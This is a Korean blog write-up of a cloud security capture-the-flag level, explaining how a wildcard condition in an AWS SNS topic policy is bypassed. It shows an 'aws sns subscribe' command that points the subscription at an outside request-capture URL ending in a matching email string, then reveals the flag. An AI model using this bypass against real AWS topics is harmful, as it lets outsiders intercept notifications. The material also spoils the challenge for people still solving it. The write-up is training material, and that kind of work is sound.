[AWS] BIG IAM Challenge 03 Write-UP

marceline·2025년 1월 6일
0

[Cloud]

목록 보기
5/7
{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

해당 Policy 는 Amazon SNS Topic에 대해 특정 조건에 따라 구독(Subscribe) 권한을 부여하는 설정으로 파악된다.

"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"

  • Topic: TBICWizPushNotifications

Endpoint*@tbic.wiz.io 일때 Subscribe (구독) 권한을 주는 듯

즉, *@tbic.wiz.io 로 끝나는 이메일 주소만 구독 가능하는 것을 알 수 있다.!

> aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol email \
    --notification-endpoint user@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}

“pending confirmation” 이라는 message 가 출력되면 성공적으로 Subscribe 된거라고 한다.

user 로 테스트 했을 때 성공한 걸 확인했으니까,, 아무래도 메일 내용을 확인하기 위해서는 임의의 이메일 서버가 필요하다.

  • 첫번째 시도
    구글계정 희생하면 풀 수 있는듯하다. <br>
    
    구글 계정 > 보안 > “앱비밀번호” 검색
    ![](https://velog.velcdn.com/images/efforterjisulee/post/9eb65b48-19e2-429c-9e73-ba43f9334c6d/image.png)

    test 로 생성하면 16자리 나온다.

아래 스크립트는 메일서버에 메일을 보내는 파이썬 스크립트다.
(구글링해서 찾음)

```json
# 라이브러리 불러오기
import smtplib

# 개인 정보 입력(email, 앱 비밀번호)
my_email = "temp@tbic.wiz.io"
password = "{16자리 app 비밀번호"

# 방법 1(with 사용 X)
connection = smtplib.SMTP("smtp.gmail.com") #보내는 메일의 SMTP 주소입력
connection.starttls() # Transport Layer Security : 메시지 암호화 기능
connection.login(user=my_email, password=password)
connection.sendmail(
	from_addr=my_email,
    to_addr="youremail@naver.com",
    msg="Subject:Hello\n\nThis is the body of my email."
) #Subject:제목\n\n내용 구조로 메시지 입력.
connection.close()

# 방법 2(with 사용)
with smtplib.SMTP("smtp.gmail.com") as connection:
    connection.starttls() #Transport Layer Security : 메시지 암호화
    connection.login(user=my_email, password=password)
    connection.sendmail(
        from_addr=my_email, 
        to_addrs="youremail@naver.com", 
        msg="Subject:Hello\n\nThis is the body of my email."
    )

```

위와 같은 스크립트를 사용해서도 어떻게든 풀 수 있을 것 같긴한데, 과정이 조금 복잡해서 결국 이것저것 시도 해보다가 드림핵툴즈를 사용하기로 했다.

https://tools.dreamhack.games/

SNS가 email 말고 HTTP(S), Lambda, firehose 등의 프로토콜도 지원하기 때문에 이 점을 이용해 Policy의 Endpoint 조건을 우회할 수 있다.

위 명령어에서 email → https 로 변경하고 드림핵 툴즈 링크를 걸어준뒤, 마지막에 이메일 양식 문자열만 추가한다면 우회가 가능하다.

> aws sns subscribe \
    --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol https \
    --notification-endpoint https://nqwpmog.request.dreamhack.games/test@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}

아래와 같이 body 를 확인할 수 있다.

"Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.

To confirm the subscription, visit the SubscribeURL included in this message."

"SubscribeURL" : "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425ba1f30b17245b4ab3b5f90bec240d5d8156b2ae00b3207570d2f0c5d9c21c1b2d81de49a06bac8b161a0441859eea6d7842308094aa819182d48faa992682069657693a644593fbbc7193c9e373ed0d007e9b91fcb9c332f2f13fd4957eb7341ee8c18e0748439603d46e74e62a74042f3c1c"

받은 데이터에있는 링크를 방문하게 되면, 아래와 같은 사이트를 확인할 수 있다.

SubscribeURL 로 구독을 확인하면 POST 요청이 하나 더 날아온다.
해당 사이트를 방문한 것이 구독을 확인한 것이므로, 이제 정말 메시지를 받을 수 있다.

“Message” 에서 플래그를 확인할 수 있다.

{wiz:always-suspect-asterisks}

0개의 댓글